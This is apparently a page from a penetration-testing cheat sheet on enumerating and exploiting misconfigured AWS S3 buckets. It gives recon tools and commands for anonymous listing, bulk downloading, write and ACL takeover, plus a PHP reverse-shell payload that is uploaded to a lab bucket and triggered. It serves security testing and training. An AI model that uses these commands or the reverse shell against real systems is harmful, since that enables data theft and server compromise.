S3 - Simple Storage Service
S3 misconfigurations
Amazon Simple Storage Service (S3) is the AWS service offering object-level storage for users and organizations.
Extension
S3BuckketList
Recon Tools
One-Liner
echo REDACTED.COM | cariddi | grep js | tee js_files | httpx -mc 200 | nuclei -tags aws,amazonThen check for public S3 buckets:
aws s3 ls s3://discovered_target.com
S3 Recon
s3enum
lazys3
BucketLoot
Bucket inspector that can help users extract assets, flag secret exposures and even search for custom keywords as well as Regular Expressions from publicly-exposed storage buckets by scanning files that store data in plain-text.
Bruteforce S3 buckets
regions.txt
us-west-1
us-west-2
us-east-1
us-east-2
cn-north-1
cn-northwest-1
eu-central-1
eu-north-1
eu-west-1
eu-west-2
eu-west-3
ap-northeast-1
ap-northeast-2
ap-northeast-3
ap-south-1
ap-southeast-1
ap-southeast-2
ca-central-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1
ap-east-1ffuf -u "https://hlogistics-ENVIRONMENT.s3.REGION.amazonaws.com" -w "regions.txt:REGION" -w "list.txt:ENVIRONMENT" -mc 200,403 -v 2>/dev/nullAWSBucketDump
S3 Enumeration Basics
Check website source code - search for s3 url
By default, the AWS CLI includes prefix= (an empty prefix) and delimiter=/ in requests
Check for https://target.com.s3.amazonaws.com/?prefix=&delimiter=/
List bucket content - Anon
aws s3 ls s3://dev.target.com --no-sign-request
aws s3 ls s3://dev.target.com --no-sign-request --recursive
If you found an URL like http://target.s3.eu-west-2.amazonaws.com remove the s3.region.amazonaws.com part
aws s3 ls s3://target --no-sign-requestBy default AWS cli tool interacts with s3.amazonaws.com . If you have another domain hosting
it, you can use --endpoint-url option to point the tool to another domain.
List buckets - with profile
aws s3 ls --profile [profile-name]
aws s3api list-buckets --profile [profile-name]List bucket content - authenticated
aws s3 ls s3://<bucket-name> --profile [profile]Get Bucket Policy
aws s3api get-bucket-policy --bucket [bucket-name]
# Example
# aws s3api get-bucket-policy --bucket hl-it-adminDownload one file
aws s3 cp s3://hl-it-admin/flag.txt .Download all files
aws s3 cp s3://hl-it-admin/backup-2807/ . --recursivedownload all of the bucket’s contents:
aws s3 sync s3://cybr-sensitive-data-bucket-<ID> ~/Downloads --profile victimList the bucket ACL
aws s3api get-bucket-acl --bucket [bucket-name]List & get objects
$ aws s3api list-objects-v2 --bucket [bucket-name] --profile [profile-name]
$ aws s3api get-object --bucket [bucket-name] --key [key] --profile [profile] ./key.txt
Bucket policy
Bucket Policies are attached directly to the bucket and define what actions are allowed or denied by which principal.
aws s3api get-bucket-policy --bucket [bucket-name]More readable
aws s3api get-bucket-policy --bucket [bucket-name] | jq -r '.Policy' | sed 's/\\//g' | jqEnumeration - s3api
List of all the bucket in the AWS account
aws s3api list-bucketsInformation about specified bucket ACLs
aws s3api get-bucket-acl --bucket [bucket-name]Information about specified bucket policy
aws s3api get-bucket-policy --bucket [bucket-name]Retrieve the Public Access Block configuration for an Amazon S3 bucket
aws s3api get-public-access-block --bucket [bucket-name]List of all the objects in specified bucket
aws s3api list-objects --bucket [bucket-name]ACLs information about the specified object
aws s3api get-object-acl --bucket [bucket-name] --key [object-name]S3 Misconfiguration - Permissions
S3Scanner
Checkov
Nuclei Templates
AWS Extender - Burp Extension
List Permissions
aws s3 ls s3://{BUCKET_NAME} --no-sign-request
Read Permissions
aws s3api get-object --bucket {BUCKET_NAME} --key archive.zip ./OUTPUT --no-sign-requestDownload Permissions
aws s3 cp s3://{BUCKET_NAME}/intigriti.txt ./ --no-sign-requestWrite Permissions
aws s3 cp intigriti.txt s3://{BUCKET_NAME}/intigriti-ac5765a7-1337-4543-ab45-1d3c8b468ad3.txt --no-sign-request
Upload a shell
$ echo "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.39/4444 0>&1 \"');?>" > rs.php
$ aws s3 cp rs.php s3://adserver/rs.php --endpoint-url=http://s3.bucket.htb --no-sign-request
upload: ./rs.php to s3://adserver/rs.php
$ curl http://bucket.htb/rs.php Read Permissions on ACL
aws s3api get-bucket-acl --bucket {BUCKET_NAME} --no-sign-requestaws s3api get-object-acl --bucket {BUCKET_NAME} --key index.html --no-sign-requestWrite Permissions on ACL
aws s3api put-bucket-acl --bucket {BUCKET_NAME} --grant-full-control emailaddress={EMAIL} --no-sign-requestS3 Versioning
curl -sI http://target.s3.region.com/statis/js/auth.js
# Look for x-amz-id headeraws s3api get-bucket-versioning --bucket {BUCKET_NAME} --no-sign-requestList object versions.
aws s3api list-object-versions --bucket [bucket-name] --query "Versions[?VersionId!='null']" --no-sign-requestaws s3api get-object --bucket [bucket-name] --key "[key-name]" --version-id "[version-id]" filename.js --no-sign-requestS3 - Shadow Resources
Interesting Book
Interesting BooksAdvanced Penetration Testing: Hacking AWS 2 This book delves deeper into analyzing the security of various AWS services and shows techniques and tactics used by an attacker to breach an AWS environment
Hands-On AWS Penetration Testing with Kali Linux Set up a virtual lab and pentest major AWS services, including EC2, S3, Lambda, and Cloud
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated